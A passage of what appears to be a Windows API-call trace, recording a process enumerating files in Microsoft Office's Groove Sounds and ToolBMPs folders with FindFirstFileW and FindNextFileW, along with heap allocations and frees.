returned 0x3a61058 [0283.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.271] GetProcessHeap () returned 0xaf0000 [0283.271] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0283.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18a3b641, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197321ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197321ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0283.274] GetProcessHeap () returned 0xaf0000 [0283.275] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0283.275] GetProcessHeap () returned 0xaf0000 [0283.275] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0283.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0283.277] GetProcessHeap () returned 0xaf0000 [0283.277] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0283.278] GetProcessHeap () returned 0xaf0000 [0283.278] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0283.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0283.280] GetProcessHeap () returned 0xaf0000 [0283.280] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0283.280] GetProcessHeap () returned 0xaf0000 [0283.280] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.281] GetProcessHeap () returned 0xaf0000 [0283.281] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0283.283] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.283] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b6c9560, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImages.jpg", cAlternateFileName="DATALI~1.JPG")) returned 1 [0283.284] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19758458, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19758458, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19758458, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImagesMask.bmp", cAlternateFileName="DATALI~1.BMP")) returned 1 [0283.284] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x190c9cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d29, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIP.JPG", cAlternateFileName="")) returned 1 [0283.284] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19758458, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19758458, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1977e6ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIPMASK.BMP", cAlternateFileName="")) returned 1 [0283.284] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19758458, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19758458, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1977e6ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIcon.jpg", cAlternateFileName="INFORM~1.JPG")) returned 1 [0283.284] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197321ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197321ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIconMask.bmp", cAlternateFileName="INFORM~1.BMP")) returned 1 [0283.284] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x190c9cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x190c9cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197321ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xceed, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginDialogBackground.jpg", cAlternateFileName="LOGIND~1.JPG")) returned 1 [0283.284] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x190c9cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x190c9cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24Images.jpg", cAlternateFileName="LOGINT~1.JPG")) returned 1 [0283.284] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24ImagesMask.bmp", cAlternateFileName="LOGINT~1.BMP")) returned 1 [0283.376] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197cab56, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197cab56, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197cab56, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImages.jpg", cAlternateFileName="MESSAG~2.JPG")) returned 1 [0283.377] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19817013, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImagesMask.bmp", cAlternateFileName="MESSAG~2.BMP")) returned 1 [0283.377] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19758458, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19758458, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19758458, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImages.jpg", cAlternateFileName="MESSAG~1.JPG")) returned 1 [0283.377] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197321ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197321ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19758458, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImagesMask.bmp", cAlternateFileName="MESSAG~1.BMP")) returned 1 [0283.377] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3efd, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackground.jpg", cAlternateFileName="NOBDD0~1.JPG")) returned 1 [0283.377] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197321ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197321ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x40aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackgroundRTL.jpg", cAlternateFileName="NOTIFI~4.JPG")) returned 1 [0283.377] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197321ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197321ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19758458, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierCloseButton.jpg", cAlternateFileName="NO00D7~1.JPG")) returned 1 [0283.377] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197321ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197321ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableDownArrow.jpg", cAlternateFileName="NOTIFI~2.JPG")) returned 1 [0283.377] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197321ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197321ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableUpArrow.jpg", cAlternateFileName="NOTIFI~1.JPG")) returned 1 [0283.378] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197321ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197321ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19758458, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDownArrow.jpg", cAlternateFileName="NOTIFI~3.JPG")) returned 1 [0283.378] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierUpArrow.jpg", cAlternateFileName="NO6669~1.JPG")) returned 1 [0283.378] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19758458, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19758458, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1977e6ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMask.bmp", cAlternateFileName="NOTIFI~1.BMP")) returned 1 [0283.378] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMaskRTL.bmp", cAlternateFileName="NOTIFI~2.BMP")) returned 1 [0283.378] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1977e6ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1977e6ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImages.jpg", cAlternateFileName="OUTOFS~1.JPG")) returned 1 [0283.378] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1977e6ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1977e6ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImagesMask.bmp", cAlternateFileName="OUTOFS~1.BMP")) returned 1 [0283.378] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1977e6ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1977e6ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIcon.jpg", cAlternateFileName="QUESTI~1.JPG")) returned 1 [0283.378] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1977e6ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1977e6ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIconMask.bmp", cAlternateFileName="QUESTI~1.BMP")) returned 1 [0283.378] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1977e6ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1977e6ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16Images.jpg", cAlternateFileName="SHARED~2.JPG")) returned 1 [0283.378] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19758458, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19758458, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1977e6ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16ImagesMask.bmp", cAlternateFileName="SHARED~1.BMP")) returned 1 [0283.379] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19758458, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19758458, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1977e6ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1963, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24Images.jpg", cAlternateFileName="SHARED~1.JPG")) returned 1 [0283.379] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1638, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24ImagesMask.bmp", cAlternateFileName="SHARED~2.BMP")) returned 1 [0283.379] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOPICON.JPG", cAlternateFileName="")) returned 1 [0283.379] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197cab56, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197cab56, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197cab56, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="StopIconMask.bmp", cAlternateFileName="STOPIC~1.BMP")) returned 1 [0283.379] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197cab56, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197cab56, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197cab56, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImages256Colors.bmp", cAlternateFileName="TASKBA~2.BMP")) returned 1 [0283.379] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197cab56, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImagesMask256Colors.bmp", cAlternateFileName="TASKBA~1.BMP")) returned 1 [0283.379] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2605, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImage.jpg", cAlternateFileName="TIPSIM~1.JPG")) returned 1 [0283.379] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImageMask.bmp", cAlternateFileName="TIPSIM~1.BMP")) returned 1 [0283.380] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, 